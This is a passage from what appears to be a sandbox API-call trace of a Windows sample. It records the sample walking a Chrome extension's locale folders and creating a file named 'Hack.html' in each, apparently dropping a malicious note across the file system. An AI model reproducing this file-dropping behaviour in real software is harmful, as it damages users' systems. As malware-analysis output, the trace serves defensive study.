HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.610] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpFilePart=0x0) returned 0x8a [0072.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\", lpFilePart=0x0) returned 0x8b [0072.611] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.611] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\Hack.html", lpFilePart=0x0) returned 0x94 [0072.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.612] GetFileType (hFile=0x174) returned 0x1 [0072.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.612] GetFileType (hFile=0x174) returned 0x1 [0072.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpFilePart=0x0) returned 0x89 [0072.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\", lpFilePart=0x0) returned 0x8a [0072.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.613] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpFilePart=0x0) returned 0x89 [0072.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\", lpFilePart=0x0) returned 0x8a [0072.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.614] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.614] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.614] GetFileType (hFile=0x174) returned 0x1 [0072.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.614] GetFileType (hFile=0x174) returned 0x1 [0072.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.615] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpFilePart=0x0) returned 0x89 [0072.615] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\", lpFilePart=0x0) returned 0x8a [0072.615] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.616] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.617] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpFilePart=0x0) returned 0x89 [0072.617] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\", lpFilePart=0x0) returned 0x8a [0072.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.617] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.617] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.618] GetFileType (hFile=0x174) returned 0x1 [0072.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.618] GetFileType (hFile=0x174) returned 0x1 [0072.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.619] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpFilePart=0x0) returned 0x89 [0072.619] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\", lpFilePart=0x0) returned 0x8a [0072.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.619] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.619] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpFilePart=0x0) returned 0x89 [0072.619] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\", lpFilePart=0x0) returned 0x8a [0072.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.619] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.620] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.620] GetFileType (hFile=0x174) returned 0x1 [0072.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.620] GetFileType (hFile=0x174) returned 0x1 [0072.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.621] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpFilePart=0x0) returned 0x89 [0072.621] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\", lpFilePart=0x0) returned 0x8a [0072.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.622] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.622] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpFilePart=0x0) returned 0x89 [0072.623] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\", lpFilePart=0x0) returned 0x8a [0072.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.623] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.623] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.623] GetFileType (hFile=0x174) returned 0x1 [0072.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.623] GetFileType (hFile=0x174) returned 0x1 [0072.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.624] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpFilePart=0x0) returned 0x89 [0072.624] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\", lpFilePart=0x0) returned 0x8a [0072.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.625] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.625] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpFilePart=0x0) returned 0x89 [0072.625] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\", lpFilePart=0x0) returned 0x8a [0072.625] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.625] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.625] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 